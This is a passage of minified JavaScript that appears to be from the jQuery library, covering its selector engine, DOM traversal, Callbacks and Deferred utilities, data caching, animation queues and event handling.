L(e,"input")&&"text"===e.type&&(null==(t=e.getAttribute("type"))||"text"===t.toLowerCase())},first:ae((function(){return[0]})),last:ae((function(e,t){return[t-1]})),eq:ae((function(e,t,i){return[i<0?i+t:i]})),even:ae((function(e,t){for(var i=0;i<t;i+=2)e.push(i);return e})),odd:ae((function(e,t){for(var i=1;i<t;i+=2)e.push(i);return e})),lt:ae((function(e,t,i){var n;for(n=i<0?i+t:i>t?t:i;--n>=0;)e.push(n);return e})),gt:ae((function(e,t,i){for(var n=i<0?i+t:i;++n<t;)e.push(n);return e}))}},t.pseudos.nth=t.pseudos.eq,{radio:!0,checkbox:!0,file:!0,password:!0,image:!0})t.pseudos[e]=ne(e);for(e in{submit:!0,reset:!0})t.pseudos[e]=re(e);function ue(){}function ce(e,i){var n,r,s,a,o,l,u,c=w[e+" "];if(c)return i?0:c.slice(0);for(o=e,l=[],u=t.preFilter;o;){for(a in n&&!(r=R.exec(o))||(r&&(o=o.slice(r[0].length)||o),l.push(s=[])),n=!1,(r=H.exec(o))&&(n=r.shift(),s.push({value:n,type:r[0].replace(A," ")}),o=o.slice(n.length)),t.filter)!(r=W[a].exec(o))||u[a]&&!(r=u[a](r))||(n=r.shift(),s.push({value:n,type:a,matches:r}),o=o.slice(n.length));if(!n)break}return i?o.length:o?Q.error(e):w(e,l).slice(0)}function de(e){for(var t=0,i=e.length,n="";t<i;t++)n+=e[t].value;return n}function he(e,t,i){var n=t.dir,r=t.next,s=r||n,a=i&&"parentNode"===s,o=y++;return t.first?function(t,i,r){for(;t=t[n];)if(1===t.nodeType||a)return e(t,i,r);return!1}:function(t,i,l){var u,c,d=[v,o];if(l){for(;t=t[n];)if((1===t.nodeType||a)&&e(t,i,l))return!0}else for(;t=t[n];)if(1===t.nodeType||a)if(c=t[_]||(t[_]={}),r&&L(t,r))t=t[n]||t;else{if((u=c[s])&&u[0]===v&&u[1]===o)return d[2]=u[2];if(c[s]=d,d[2]=e(t,i,l))return!0}return!1}}function pe(e){return e.length>1?function(t,i,n){for(var r=e.length;r--;)if(!e[r](t,i,n))return!1;return!0}:e[0]}function fe(e,t,i,n,r){for(var s,a=[],o=0,l=e.length,u=null!=t;o<l;o++)(s=e[o])&&(i&&!i(s,n,r)||(a.push(s),u&&t.push(o)));return a}function me(e,t,i,n,r,s){return n&&!n[_]&&(n=me(n)),r&&!r[_]&&(r=me(r,s)),te((function(s,a,o,l){var u,d,h,p,f=[],g=[],_=a.length,v=s||function(e,t,i){for(var n=0,r=t.length;n<r;n++)Q(e,t[n],i);return i}(t||"*",o.nodeType?[o]:o,[]),y=!e||!s&&t?v:fe(v,f,e,o,l);if(i?i(y,p=r||(s?e:_||n)?[]:a,o,l):p=y,n)for(u=fe(p,g),n(u,[],o,l),d=u.length;d--;)(h=u[d])&&(p[g[d]]=!(y[g[d]]=h));if(s){if(r||e){if(r){for(u=[],d=p.length;d--;)(h=p[d])&&u.push(y[d]=h);r(null,p=[],u,l)}for(d=p.length;d--;)(h=p[d])&&(u=r?c.call(s,h):f[d])>-1&&(s[u]=!(a[u]=h))}}else p=fe(p===a?p.splice(_,p.length):p),r?r(null,a,p,l):m.apply(a,p)}))}function ge(e){for(var n,r,s,a=e.length,o=t.relative[e[0].type],l=o||t.relative[" "],u=o?1:0,d=he((function(e){return e===n}),l,!0),h=he((function(e){return c.call(n,e)>-1}),l,!0),p=[function(e,t,r){var s=!o&&(r||t!=i)||((n=t).nodeType?d(e,t,r):h(e,t,r));return n=null,s}];u<a;u++)if(r=t.relative[e[u].type])p=[he(pe(p),r)];else{if((r=t.filter[e[u].type].apply(null,e[u].matches))[_]){for(s=++u;s<a&&!t.relative[e[s].type];s++);return me(u>1&&pe(p),u>1&&de(e.slice(0,u-1).concat({value:" "===e[u-2].type?"*":""})).replace(A,"$1"),r,u<s&&ge(e.slice(u,s)),s<a&&ge(e=e.slice(s)),s<a&&de(e))}p.push(r)}return pe(p)}function _e(e,n){var r,s=[],a=[],o=T[e+" "];if(!o){for(n||(n=ce(e)),r=n.length;r--;)(o=ge(n[r]))[_]?s.push(o):a.push(o);o=T(e,function(e,n){var r=n.length>0,s=e.length>0,a=function(a,o,u,c,h){var p,f,g,_=0,y="0",b=a&&[],w=[],T=i,k=a||s&&t.find.TAG("*",h),S=v+=null==T?1:Math.random()||.1,x=k.length;for(h&&(i=o==l||o||h);y!==x&&null!=(p=k[y]);y++){if(s&&p){for(f=0,o||p.ownerDocument==l||(le(p),u=!d);g=e[f++];)if(g(p,o||l,u)){m.call(c,p);break}h&&(v=S)}r&&((p=!g&&p)&&_--,a&&b.push(p))}if(_+=y,r&&y!==_){for(f=0;g=n[f++];)g(b,w,o,u);if(a){if(_>0)for(;y--;)b[y]||w[y]||(w[y]=C.call(c));w=fe(w)}m.apply(c,w),h&&!a&&w.length>0&&_+n.length>1&&M.uniqueSort(c)}return h&&(v=S,i=T),b};return r?te(a):a}(a,s)),o.selector=e}return o}function ve(e,i,n,r){var s,a,o,l,u,c="function"==typeof e&&e,h=!r&&ce(e=c.selector||e);if(n=n||[],1===h.length){if((a=h[0]=h[0].slice(0)).length>2&&"ID"===(o=a[0]).type&&9===i.nodeType&&d&&t.relative[a[1].type]){if(!(i=(t.find.ID(o.matches[0].replace(G,K),i)||[])[0]))return n;c&&(i=i.parentNode),e=e.slice(a.shift().value.length)}for(s=W.needsContext.test(e)?0:a.length;s--&&(o=a[s],!t.relative[l=o.type]);)if((u=t.find[l])&&(r=u(o.matches[0].replace(G,K),J.test(a[0].type)&&oe(i.parentNode)||i))){if(a.splice(s,1),!(e=r.length&&de(a)))return m.apply(n,r),n;break}}return(c||_e(e,h))(r,i,!d,n,!i||J.test(e)&&oe(i.parentNode)||i),n}ue.prototype=t.filters=t.pseudos,t.setFilters=new ue,g.sortStable=_.split("").sort(S).join("")===_,le(),g.sortDetached=ie((function(e){return 1&e.compareDocumentPosition(l.createElement("fieldset"))})),M.find=Q,M.expr[":"]=M.expr.pseudos,M.unique=M.uniqueSort,Q.compile=_e,Q.select=ve,Q.setDocument=le,Q.tokenize=ce,Q.escape=M.escapeSelector,Q.getText=M.text,Q.isXML=M.isXMLDoc,Q.selectors=M.expr,Q.support=M.support,Q.uniqueSort=M.uniqueSort}();var j=function(e,t,i){for(var n=[],r=void 0!==i;(e=e[t])&&9!==e.nodeType;)if(1===e.nodeType){if(r&&M(e).is(i))break;n.push(e)}return n},N=function(e,t){for(var i=[];e;e=e.nextSibling)1===e.nodeType&&e!==t&&i.push(e);return i},R=M.expr.match.needsContext,H=/^<([a-z][^\/\0>:\x20\t\r\n\f]*)[\x20\t\r\n\f]*\/?>(?:<\/\1>|)$/i;function F(e,t,i){return _(t)?M.grep(e,(function(e,n){return!!t.call(e,n,e)!==i})):t.nodeType?M.grep(e,(function(e){return e===t!==i})):"string"!=typeof t?M.grep(e,(function(e){return c.call(t,e)>-1!==i})):M.filter(t,e,i)}M.filter=function(e,t,i){var n=t[0];return i&&(e=":not("+e+")"),1===t.length&&1===n.nodeType?M.find.matchesSelector(n,e)?[n]:[]:M.find.matches(e,M.grep(t,(function(e){return 1===e.nodeType})))},M.fn.extend({find:function(e){var t,i,n=this.length,r=this;if("string"!=typeof e)return this.pushStack(M(e).filter((function(){for(t=0;t<n;t++)if(M.contains(r[t],this))return!0})));for(i=this.pushStack([]),t=0;t<n;t++)M.find(e,r[t],i);return n>1?M.uniqueSort(i):i},filter:function(e){return this.pushStack(F(this,e||[],!1))},not:function(e){return this.pushStack(F(this,e||[],!0))},is:function(e){return!!F(this,"string"==typeof e&&R.test(e)?M(e):e||[],!1).length}});var B,U=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]+))$/;(M.fn.init=function(e,t,i){var n,r;if(!e)return this;if(i=i||B,"string"==typeof e){if(!(n="<"===e[0]&&">"===e[e.length-1]&&e.length>=3?[null,e,null]:U.exec(e))||!n[1]&&t)return!t||t.jquery?(t||i).find(e):this.constructor(t).find(e);if(n[1]){if(t=t instanceof M?t[0]:t,M.merge(this,M.parseHTML(n[1],t&&t.nodeType?t.ownerDocument||t:y,!0)),H.test(n[1])&&M.isPlainObject(t))for(n in t)_(this[n])?this[n](t[n]):this.attr(n,t[n]);return this}return(r=y.getElementById(n[2]))&&(this[0]=r,this.length=1),this}return e.nodeType?(this[0]=e,this.length=1,this):_(e)?void 0!==i.ready?i.ready(e):e(M):M.makeArray(e,this)}).prototype=M.fn,B=M(y);var W=/^(?:parents|prev(?:Until|All))/,z={children:!0,contents:!0,next:!0,prev:!0};function q(e,t){for(;(e=e[t])&&1!==e.nodeType;);return e}M.fn.extend({has:function(e){var t=M(e,this),i=t.length;return this.filter((function(){for(var e=0;e<i;e++)if(M.contains(this,t[e]))return!0}))},closest:function(e,t){var i,n=0,r=this.length,s=[],a="string"!=typeof e&&M(e);if(!R.test(e))for(;n<r;n++)for(i=this[n];i&&i!==t;i=i.parentNode)if(i.nodeType<11&&(a?a.index(i)>-1:1===i.nodeType&&M.find.matchesSelector(i,e))){s.push(i);break}return this.pushStack(s.length>1?M.uniqueSort(s):s)},index:function(e){return e?"string"==typeof e?c.call(M(e),this[0]):c.call(this,e.jquery?e[0]:e):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(e,t){return this.pushStack(M.uniqueSort(M.merge(this.get(),M(e,t))))},addBack:function(e){return this.add(null==e?this.prevObject:this.prevObject.filter(e))}}),M.each({parent:function(e){var t=e.parentNode;return t&&11!==t.nodeType?t:null},parents:function(e){return j(e,"parentNode")},parentsUntil:function(e,t,i){return j(e,"parentNode",i)},next:function(e){return q(e,"nextSibling")},prev:function(e){return q(e,"previousSibling")},nextAll:function(e){return j(e,"nextSibling")},prevAll:function(e){return j(e,"previousSibling")},nextUntil:function(e,t,i){return j(e,"nextSibling",i)},prevUntil:function(e,t,i){return j(e,"previousSibling",i)},siblings:function(e){return N((e.parentNode||{}).firstChild,e)},children:function(e){return N(e.firstChild)},contents:function(e){return null!=e.contentDocument&&a(e.contentDocument)?e.contentDocument:(L(e,"template")&&(e=e.content||e),M.merge([],e.childNodes))}},(function(e,t){M.fn[e]=function(i,n){var r=M.map(this,t,i);return"Until"!==e.slice(-5)&&(n=i),n&&"string"==typeof n&&(r=M.filter(n,r)),this.length>1&&(z[e]||M.uniqueSort(r),W.test(e)&&r.reverse()),this.pushStack(r)}}));var V=/[^\x20\t\r\n\f]+/g;function J(e){return e}function G(e){throw e}function K(e,t,i,n){var r;try{e&&_(r=e.promise)?r.call(e).done(t).fail(i):e&&_(r=e.then)?r.call(e,t,i):t.apply(void 0,[e].slice(n))}catch(e){i.apply(void 0,[e])}}M.Callbacks=function(e){e="string"==typeof e?function(e){var t={};return M.each(e.match(V)||[],(function(e,i){t[i]=!0})),t}(e):M.extend({},e);var t,i,n,r,s=[],a=[],o=-1,l=function(){for(r=r||e.once,n=t=!0;a.length;o=-1)for(i=a.shift();++o<s.length;)!1===s[o].apply(i[0],i[1])&&e.stopOnFalse&&(o=s.length,i=!1);e.memory||(i=!1),t=!1,r&&(s=i?[]:"")},u={add:function(){return s&&(i&&!t&&(o=s.length-1,a.push(i)),function t(i){M.each(i,(function(i,n){_(n)?e.unique&&u.has(n)||s.push(n):n&&n.length&&"string"!==T(n)&&t(n)}))}(arguments),i&&!t&&l()),this},remove:function(){return M.each(arguments,(function(e,t){for(var i;(i=M.inArray(t,s,i))>-1;)s.splice(i,1),i<=o&&o--})),this},has:function(e){return e?M.inArray(e,s)>-1:s.length>0},empty:function(){return s&&(s=[]),this},disable:function(){return r=a=[],s=i="",this},disabled:function(){return!s},lock:function(){return r=a=[],i||t||(s=i=""),this},locked:function(){return!!r},fireWith:function(e,i){return r||(i=[e,(i=i||[]).slice?i.slice():i],a.push(i),t||l()),this},fire:function(){return u.fireWith(this,arguments),this},fired:function(){return!!n}};return u},M.extend({Deferred:function(e){var t=[["notify","progress",M.Callbacks("memory"),M.Callbacks("memory"),2],["resolve","done",M.Callbacks("once memory"),M.Callbacks("once memory"),0,"resolved"],["reject","fail",M.Callbacks("once memory"),M.Callbacks("once memory"),1,"rejected"]],i="pending",r={state:function(){return i},always:function(){return s.done(arguments).fail(arguments),this},catch:function(e){return r.then(null,e)},pipe:function(){var e=arguments;return M.Deferred((function(i){M.each(t,(function(t,n){var r=_(e[n[4]])&&e[n[4]];s[n[1]]((function(){var e=r&&r.apply(this,arguments);e&&_(e.promise)?e.promise().progress(i.notify).done(i.resolve).fail(i.reject):i[n[0]+"With"](this,r?[e]:arguments)}))})),e=null})).promise()},then:function(e,i,r){var s=0;function a(e,t,i,r){return function(){var o=this,l=arguments,u=function(){var n,u;if(!(e<s)){if((n=i.apply(o,l))===t.promise())throw new TypeError("Thenable self-resolution");u=n&&("object"==typeof n||"function"==typeof n)&&n.then,_(u)?r?u.call(n,a(s,t,J,r),a(s,t,G,r)):(s++,u.call(n,a(s,t,J,r),a(s,t,G,r),a(s,t,J,t.notifyWith))):(i!==J&&(o=void 0,l=[n]),(r||t.resolveWith)(o,l))}},c=r?u:function(){try{u()}catch(n){M.Deferred.exceptionHook&&M.Deferred.exceptionHook(n,c.error),e+1>=s&&(i!==G&&(o=void 0,l=[n]),t.rejectWith(o,l))}};e?c():(M.Deferred.getErrorHook?c.error=M.Deferred.getErrorHook():M.Deferred.getStackHook&&(c.error=M.Deferred.getStackHook()),n.setTimeout(c))}}return M.Deferred((function(n){t[0][3].add(a(0,n,_(r)?r:J,n.notifyWith)),t[1][3].add(a(0,n,_(e)?e:J)),t[2][3].add(a(0,n,_(i)?i:G))})).promise()},promise:function(e){return null!=e?M.extend(e,r):r}},s={};return M.each(t,(function(e,n){var a=n[2],o=n[5];r[n[1]]=a.add,o&&a.add((function(){i=o}),t[3-e][2].disable,t[3-e][3].disable,t[0][2].lock,t[0][3].lock),a.add(n[3].fire),s[n[0]]=function(){return s[n[0]+"With"](this===s?void 0:this,arguments),this},s[n[0]+"With"]=a.fireWith})),r.promise(s),e&&e.call(s,s),s},when:function(e){var t=arguments.length,i=t,n=Array(i),r=o.call(arguments),s=M.Deferred(),a=function(e){return function(i){n[e]=this,r[e]=arguments.length>1?o.call(arguments):i,--t||s.resolveWith(n,r)}};if(t<=1&&(K(e,s.done(a(i)).resolve,s.reject,!t),"pending"===s.state()||_(r[i]&&r[i].then)))return s.then();for(;i--;)K(r[i],a(i),s.reject);return s.promise()}});var X=/^(Eval|Internal|Range|Reference|Syntax|Type|URI)Error$/;M.Deferred.exceptionHook=function(e,t){n.console&&n.console.warn&&e&&X.test(e.name)&&n.console.warn("jQuery.Deferred exception: "+e.message,e.stack,t)},M.readyException=function(e){n.setTimeout((function(){throw e}))};var Z=M.Deferred();function Q(){y.removeEventListener("DOMContentLoaded",Q),n.removeEventListener("load",Q),M.ready()}M.fn.ready=function(e){return Z.then(e).catch((function(e){M.readyException(e)})),this},M.extend({isReady:!1,readyWait:1,ready:function(e){(!0===e?--M.readyWait:M.isReady)||(M.isReady=!0,!0!==e&&--M.readyWait>0||Z.resolveWith(y,[M]))}}),M.ready.then=Z.then,"complete"===y.readyState||"loading"!==y.readyState&&!y.documentElement.doScroll?n.setTimeout(M.ready):(y.addEventListener("DOMContentLoaded",Q),n.addEventListener("load",Q));var ee=function(e,t,i,n,r,s,a){var o=0,l=e.length,u=null==i;if("object"===T(i))for(o in r=!0,i)ee(e,t,o,i[o],!0,s,a);else if(void 0!==n&&(r=!0,_(n)||(a=!0),u&&(a?(t.call(e,n),t=null):(u=t,t=function(e,t,i){return u.call(M(e),i)})),t))for(;o<l;o++)t(e[o],i,a?n:n.call(e[o],o,t(e[o],i)));return r?e:u?t.call(e):l?t(e[0],i):s},te=/^-ms-/,ie=/-([a-z])/g;function ne(e,t){return t.toUpperCase()}function re(e){return e.replace(te,"ms-").replace(ie,ne)}var se=function(e){return 1===e.nodeType||9===e.nodeType||!+e.nodeType};function ae(){this.expando=M.expando+ae.uid++}ae.uid=1,ae.prototype={cache:function(e){var t=e[this.expando];return t||(t={},se(e)&&(e.nodeType?e[this.expando]=t:Object.defineProperty(e,this.expando,{value:t,configurable:!0}))),t},set:function(e,t,i){var n,r=this.cache(e);if("string"==typeof t)r[re(t)]=i;else for(n in t)r[re(n)]=t[n];return r},get:function(e,t){return void 0===t?this.cache(e):e[this.expando]&&e[this.expando][re(t)]},access:function(e,t,i){return void 0===t||t&&"string"==typeof t&&void 0===i?this.get(e,t):(this.set(e,t,i),void 0!==i?i:t)},remove:function(e,t){var i,n=e[this.expando];if(void 0!==n){if(void 0!==t){i=(t=Array.isArray(t)?t.map(re):(t=re(t))in n?[t]:t.match(V)||[]).length;for(;i--;)delete n[t[i]]}(void 0===t||M.isEmptyObject(n))&&(e.nodeType?e[this.expando]=void 0:delete e[this.expando])}},hasData:function(e){var t=e[this.expando];return void 0!==t&&!M.isEmptyObject(t)}};var oe=new ae,le=new ae,ue=/^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,ce=/[A-Z]/g;function de(e,t,i){var n;if(void 0===i&&1===e.nodeType)if(n="data-"+t.replace(ce,"-$&").toLowerCase(),"string"==typeof(i=e.getAttribute(n))){try{i=function(e){return"true"===e||"false"!==e&&("null"===e?null:e===+e+""?+e:ue.test(e)?JSON.parse(e):e)}(i)}catch(e){}le.set(e,t,i)}else i=void 0;return i}M.extend({hasData:function(e){return le.hasData(e)||oe.hasData(e)},data:function(e,t,i){return le.access(e,t,i)},removeData:function(e,t){le.remove(e,t)},_data:function(e,t,i){return oe.access(e,t,i)},_removeData:function(e,t){oe.remove(e,t)}}),M.fn.extend({data:function(e,t){var i,n,r,s=this[0],a=s&&s.attributes;if(void 0===e){if(this.length&&(r=le.get(s),1===s.nodeType&&!oe.get(s,"hasDataAttrs"))){for(i=a.length;i--;)a[i]&&0===(n=a[i].name).indexOf("data-")&&(n=re(n.slice(5)),de(s,n,r[n]));oe.set(s,"hasDataAttrs",!0)}return r}return"object"==typeof e?this.each((function(){le.set(this,e)})):ee(this,(function(t){var i;if(s&&void 0===t)return void 0!==(i=le.get(s,e))||void 0!==(i=de(s,e))?i:void 0;this.each((function(){le.set(this,e,t)}))}),null,t,arguments.length>1,null,!0)},removeData:function(e){return this.each((function(){le.remove(this,e)}))}}),M.extend({queue:function(e,t,i){var n;if(e)return t=(t||"fx")+"queue",n=oe.get(e,t),i&&(!n||Array.isArray(i)?n=oe.access(e,t,M.makeArray(i)):n.push(i)),n||[]},dequeue:function(e,t){t=t||"fx";var i=M.queue(e,t),n=i.length,r=i.shift(),s=M._queueHooks(e,t);"inprogress"===r&&(r=i.shift(),n--),r&&("fx"===t&&i.unshift("inprogress"),delete s.stop,r.call(e,(function(){M.dequeue(e,t)}),s)),!n&&s&&s.empty.fire()},_queueHooks:function(e,t){var i=t+"queueHooks";return oe.get(e,i)||oe.access(e,i,{empty:M.Callbacks("once memory").add((function(){oe.remove(e,[t+"queue",i])}))})}}),M.fn.extend({queue:function(e,t){var i=2;return"string"!=typeof e&&(t=e,e="fx",i--),arguments.length<i?M.queue(this[0],e):void 0===t?this:this.each((function(){var i=M.queue(this,e,t);M._queueHooks(this,e),"fx"===e&&"inprogress"!==i[0]&&M.dequeue(this,e)}))},dequeue:function(e){return this.each((function(){M.dequeue(this,e)}))},clearQueue:function(e){return this.queue(e||"fx",[])},promise:function(e,t){var i,n=1,r=M.Deferred(),s=this,a=this.length,o=function(){--n||r.resolveWith(s,[s])};for("string"!=typeof e&&(t=e,e=void 0),e=e||"fx";a--;)(i=oe.get(s[a],e+"queueHooks"))&&i.empty&&(n++,i.empty.add(o));return o(),r.promise(t)}});var he=/[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/.source,pe=new RegExp("^(?:([+-])=|)("+he+")([a-z%]*)$","i"),fe=["Top","Right","Bottom","Left"],me=y.documentElement,ge=function(e){return M.contains(e.ownerDocument,e)},_e={composed:!0};me.getRootNode&&(ge=function(e){return M.contains(e.ownerDocument,e)||e.getRootNode(_e)===e.ownerDocument});var ve=function(e,t){return"none"===(e=t||e).style.display||""===e.style.display&&ge(e)&&"none"===M.css(e,"display")};function ye(e,t,i,n){var r,s,a=20,o=n?function(){return n.cur()}:function(){return M.css(e,t,"")},l=o(),u=i&&i[3]||(M.cssNumber[t]?"":"px"),c=e.nodeType&&(M.cssNumber[t]||"px"!==u&&+l)&&pe.exec(M.css(e,t));if(c&&c[3]!==u){for(l/=2,u=u||c[3],c=+l||1;a--;)M.style(e,t,c+u),(1-s)*(1-(s=o()/l||.5))<=0&&(a=0),c/=s;c*=2,M.style(e,t,c+u),i=i||[]}return i&&(c=+c||+l||0,r=i[1]?c+(i[1]+1)*i[2]:+i[2],n&&(n.unit=u,n.start=c,n.end=r)),r}var be={};function we(e){var t,i=e.ownerDocument,n=e.nodeName,r=be[n];return r||(t=i.body.appendChild(i.createElement(n)),r=M.css(t,"display"),t.parentNode.removeChild(t),"none"===r&&(r="block"),be[n]=r,r)}function Te(e,t){for(var i,n,r=[],s=0,a=e.length;s<a;s++)(n=e[s]).style&&(i=n.style.display,t?("none"===i&&(r[s]=oe.get(n,"display")||null,r[s]||(n.style.display="")),""===n.style.display&&ve(n)&&(r[s]=we(n))):"none"!==i&&(r[s]="none",oe.set(n,"display",i)));for(s=0;s<a;s++)null!=r[s]&&(e[s].style.display=r[s]);return e}M.fn.extend({show:function(){return Te(this,!0)},hide:function(){return Te(this)},toggle:function(e){return"boolean"==typeof e?e?this.show():this.hide():this.each((function(){ve(this)?M(this).show():M(this).hide()}))}});var ke,Se,Me=/^(?:checkbox|radio)$/i,xe=/<([a-z][^\/\0>\x20\t\r\n\f]*)/i,Le=/^$|^module$|\/(?:java|ecma)script/i;ke=y.createDocumentFragment().appendChild(y.createElement("div")),(Se=y.createElement("input")).setAttribute("type","radio"),Se.setAttribute("checked","checked"),Se.setAttribute("name","t"),ke.appendChild(Se),g.checkClone=ke.cloneNode(!0).cloneNode(!0).lastChild.checked,ke.innerHTML="<textarea>x</textarea>",g.noCloneChecked=!!ke.cloneNode(!0).lastChild.defaultValue,ke.innerHTML="<option></option>",g.option=!!ke.lastChild;var Ce={thead:[1,"<table>","</table>"],col:[2,"<table><colgroup>","</colgroup></table>"],tr:[2,"<table><tbody>","</tbody></table>"],td:[3,"<table><tbody><tr>","</tr></tbody></table>"],_default:[0,"",""]};function De(e,t){var i;return i=void 0!==e.getElementsByTagName?e.getElementsByTagName(t||"*"):void 0!==e.querySelectorAll?e.querySelectorAll(t||"*"):[],void 0===t||t&&L(e,t)?M.merge([e],i):i}function Ee(e,t){for(var i=0,n=e.length;i<n;i++)oe.set(e[i],"globalEval",!t||oe.get(t[i],"globalEval"))}Ce.tbody=Ce.tfoot=Ce.colgroup=Ce.caption=Ce.thead,Ce.th=Ce.td,g.option||(Ce.optgroup=Ce.option=[1,"<select multiple='multiple'>","</select>"]);var Pe=/<|&#?\w+;/;function Ae(e,t,i,n,r){for(var s,a,o,l,u,c,d=t.createDocumentFragment(),h=[],p=0,f=e.length;p<f;p++)if((s=e[p])||0===s)if("object"===T(s))M.merge(h,s.nodeType?[s]:s);else if(Pe.test(s)){for(a=a||d.appendChild(t.createElement("div")),o=(xe.exec(s)||["",""])[1].toLowerCase(),l=Ce[o]||Ce._default,a.innerHTML=l[1]+M.htmlPrefilter(s)+l[2],c=l[0];c--;)a=a.lastChild;M.merge(h,a.childNodes),(a=d.firstChild).textContent=""}else h.push(t.createTextNode(s));for(d.textContent="",p=0;s=h[p++];)if(n&&M.inArray(s,n)>-1)r&&r.push(s);else if(u=ge(s),a=De(d.appendChild(s),"script"),u&&Ee(a),i)for(c=0;s=a[c++];)Le.test(s.type||"")&&i.push(s);return d}var Ie=/^([^.]*)(?:\.(.+)|)/;function Oe(){return!0}function Ye(){return!1}function $e(e,t,i,n,r,s){var a,o;if("object"==typeof t){for(o in"string"!=typeof i&&(n=n||i,i=void 0),t)$e(e,o,i,n,t[o],s);return e}if(null==n&&null==r?(r=i,n=i=void 0):null==r&&("string"==typeof i?(r=n,n=void 0):(r=n,n=i,i=void 0)),!1===r)r=Ye;else if(!r)return e;return 1===s&&(a=r,r=function(e){return M().off(e),a.apply(this,arguments)},r.guid=a.guid||(a.guid=M.guid++)),e.each((function(){M.event.add(this,t,r,n,i)}))}function je(e,t,i){i?(oe.set(e,t,!1),M.event.add(e,t,{namespace:!1,handler:function(e){var i,n=oe.get(this,t);if(1&e.isTrigger&&this[t]){if(n)(M.event.special[t]||{}).delegateType&&e.stopPropagation();else if(n=o.call(arguments),oe.set(this,t,n),this[t](),i=oe.get(this,t),oe.set(this,t,!1),n!==i)return e.stopImmediatePropagation(),e.preventDefault(),i}else n&&(oe.set(this,t,M.event.trigger(n[0],n.slice(1),this)),e.stopPropagation(),e.isImmediatePropagationStopped=Oe)}})):void 0===oe.get(e,t)&&M.event.add(e,t,Oe)}M.event={global:{},add:function(e,t,i,n,r){var s,a,o,l,u,c,d,h,p,f,m,g=oe.get(e);if(se(e))for(i.handler&&(i=(s=i).handler,r=s.selector),r&&M.find.matchesSelector(me,r),i.guid||(i.guid=M.guid++),(l=g.events)||(l=g.events=Object.create(null)),(a=g.handle)||(a=g.handle=function(t){return void 0!==M&&M.event.triggered!==t.type?M.event.dispatch.apply(e,arguments):void 0}),u=(t=(t||"").match(V)||[""]).length;u--;)p=m=(o=Ie.exec(t[u])||[])[1],f=(o[2]||"").split(".").sort(),p&&(d=M.event.special[p]||{},p=(r?d.delegateType:d.bindType)||p,d=M.event.special[p]||{},c=M.extend({type:p,origType:m,data:n,handler:i,guid:i.guid,selector:r,needsContext:r&&M.expr.match.needsContext.test(r),namespace:f.join(".")},s),(h=l[p])||((h=l[p]=[]).delegateCount=0,d.setup&&!1!==d.setup.call(e,n,f,a)||e.addEventListener&&e.addEventListener(p,a)),d.add&&(d.add.call(e,c),c.handler.guid||(c.handler.guid=i.guid)),r?h.splice(h.delegateCount++,0,c):h.push(c),M.event.global[p]=!0)},remove:function(e,t,i,n,r){var s,a,o,l,u,c,d,h,p,f,m,g=oe.hasData(e)&&oe.get(e);if(g&&(l=g.events)){for(u=(t=(t||"").match(V)||[""]).length;u--;)if(p=m=(o=Ie.exec(t[u])||[])[1],f=(o[2]||"").split(".").sort(),p){for(d=M.event.special[p]||{},h=l[p=(n?d.delegateType:d.bindType)||p]||[],o=o[2]&&new RegExp("(^|\\.)"+f.join("\\.(?:.*\\.|)")+"(\\.|$)"),a=s=h.length;s--;)c=h[s],!r&&m!==c.origType||i&&i.guid!==c.guid||o&&!o.test(c.namespace)||n&&n!==c.selector&&("**"!==n||!c.selector)||(h.splice(s,1),c.selector&&h.delegateCount--,d.remove&&d.remove.call(e,c));a&&!h.length&&(d.teardown&&!1!==d.teardown.call(e,f,g.handle)||M.removeEvent(e,p,g.handle),delete l[p])}else for(p in l)M.event.remove(e,p+t[u],i,n,!0);M.isEmptyObject(l)&&oe.remove(e,"handle events")}},dispatch:function(e){var t,i,n,r,s,a,o=new Array(arguments.length),l=M.event.fix(e),u=(oe.get(this,"events")||Object.create(null))[l.type]||[],c=M.event.special[l.type]||{};for(o[0]=l,t=1;t<arguments.length;t++)o[t]=arguments[t];if(l.delegateTarget=this,!c.preDispatch||!1!==c.preDispatch.call(this,l)){for(a=M.event.handlers.call(this,l,u),t=0;(r=a[t++])&&!l.isPropagationStopped();)for(l.currentTarget=r.elem,i=0;(s=r.handlers[i++])&&!l.isImmediatePropagationStopped();)l.rnamespace&&!1!==s.namespace&&!l.rnamespace.test(s.namespace)||(l.handleObj=s,l.data=s.data,void 0!==(n=((M.event.special[s.origType]||{}).handle||s.handler).apply(r.elem,o))&&!1===(l.result=n)&&(l.preventDefault(),l.stopPropagation()));return c.postDispatch&&c.postDispatch.call(this,l),l.result}},handlers:function(e,t){var i,n,r,s,a,o=[],l=t.delegateCount,u=e.target;if(l&&u.nodeType&&!("click"===e.type&&e.button>=1))for(;u!==this;u=u.parentNode||this)if(1===u.nodeType&&("click"!==e.type||!0!==u.disabled)){for(s=[],a={},i=0;i<l;i++)void 0===a[r=(n=t[i]).selector+" "]&&(a[r]=n.needsContext?M(r,this).index(u)>-1:M.find(r,this,null,[u]).length),a[r]&&s.push(n);s.length&&o.push({elem:u,handlers:s})}return u=this,l<t.length&&o.push({elem:u,handlers:t.slice(l)}),o},addProp:function(e,t){Object.defineProperty(M.Event.prototype,e,{enumerable:!0,configurable:!0,get:_(t)?function(){if(this.originalEvent)return t(this.originalEvent)}:function(){if(this.originalEvent)return this.originalEvent[e]},set:function(t){Object.defineProperty(this,e,{enumerable:!0,configurable:!0,writable:!0,value:t})}})},fix:function(e){return e[M.expando]?e:new M.Event(e)},special:{load:{noBubble:!0},click:{setup:function(e){var t=this||e;return Me.test(t.type)&&t.click&&L(t,"input")&&je(t,"click",!0),!1},trigger:function(e){var t=this||e;return Me.test(t.type)&&t.click&&L(t,"input")&&je(t,"click"),!0},_default:function(e){var t=e.target;return Me.test(t.type)&&t.click&&L(t,"input")&&oe.get(t,"click")||L(t,"a")}},beforeunload:{postDispatch:function(e){void 0!==e.result&&e.originalEvent&&(e.originalEvent.returnValue=e.result)}}}},M.removeEvent=function(e,t,i){e.removeEventListener&&e.removeEventListener(t,i)},M.Event=function(e,t){if(!(this instanceof M.Event))return new M.Event(e,t);e&&e.type?(this.originalEvent=e,this.type=e.type,this.isDefaultPrevented=e.defaultPrevented||void 